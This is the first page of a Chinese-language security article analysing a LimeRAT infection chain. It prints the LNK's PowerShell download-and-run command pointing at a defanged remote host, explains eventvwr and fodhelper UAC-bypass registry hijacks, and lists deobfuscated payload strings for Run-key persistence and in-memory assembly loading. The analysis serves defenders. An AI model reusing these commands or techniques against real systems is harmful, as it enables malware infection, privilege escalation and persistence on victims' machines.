欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

LimeRAT在野外传播

来源:本站整理 作者:佚名 时间:2019-04-12 TAG: 我要投稿

几天前,Cybaze-Yoroi ZLab安全团队遇到了一类有趣的感染链,它利用多种复杂技术,能够绕过传统安全防御机制并隐藏其payload,对目标用户造成严重威胁。
整个感染链始于一个LNK文件,利用LNK文件进行攻击是APT组织常常使用的技术之一,因此我们决定对这些恶意样本进行更深入的研究,在研究过程中,我们还发现了另一个早被用滥的开源项目,很多时候,网络犯罪分子会在其中植入恶意软件。

技术分析
感染链的起源是一个简单的LNK文件,旨在通过以下命令从远程位置下载并运行名为“rdp.ps1”的PowerShell文件:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWVY'));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString('https://hacks4all[.net/rdp.ps1');g $I
检索到的Powershell脚本是整个感染链的dropper。

此Powershell脚本首先使用“Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version”命令检索目标计算机上安装的Windows操作系统的版本。接着根据返回的值,利用一些相应的权限提升漏洞,以绕过UAC(用户帐户控制)功能——这是自Windows Vista起引入的一种安全机制,可以避免未经授权的系统配置更改。脚本的首要目标就是在版本低于8.1的Windows中,利用EventViewer进程上的设计缺陷来执行具有更高特权的命令。
对此漏洞的利用过程是非常容易的:恶意软件可以访问注册表项“HKCU:\ Software \ Classes \ mscfile \ shell \ open \ command”,并在此处插入命令,通过强制执行“eventvwr.exe”进程来运行其payload,由于安全漏洞,可以以最高权限运行该进程。


图1:检查目标Windows版本并为eventvwr.exe进程漏洞利用做准备
第二个漏洞则涉及到Windows 10操作系统:是FODhelper进程中的一个漏洞。此漏洞利用的原理与前一个类似,但访问的注册表项是“HKCU:\ Software \ Classes \ ms-settings \ Shell \ Open \ command”,而受攻击的进程则是“fodhelper.exe”。


图2:检查目标Windows版本并为fodhelper.exe进程漏洞利用做准备
之后运行Powershell payload,payload在解码后会调用额外的JavaScript代码。这个脚本的主体包含一个嵌入其他子函数的惟一匿名函数和一个很大的模糊变量。

图3:以Base64格式编码的payload,与自定义子程序混淆

图4:子程序去混淆后的部分代码
它的payload是一个参数化的Powershell脚本,目的是将最终payload安装到用户注册表hive中,从而结束感染链。
[
 "Wscript.Shell",
 "scriptfullname",
 "scriptname",
 "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command ",
 "%",
 "ExpandEnvironmentStrings",
 "Temp",
 "\\",
 "fromCharCode",
 "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\\",
 "',[System.IO.File]::ReadAllText('",
 "'));wscript '",
 "'",
 "Run",
 "Quit",
 "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -name 'FileName' -value '",
 "' -PropertyType String -Force;",
 "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\\",
 "'))",
 
 " ##### FINAL PAYLOAD ##### "
 "HKCU\\SOFTWARE\\Microsoft\\\\Winkey",
 "Scripting.FileSystemObject",
 "REG_SZ",
 "regwrite",
 "$_b = (get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'Winkey').Winkey;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载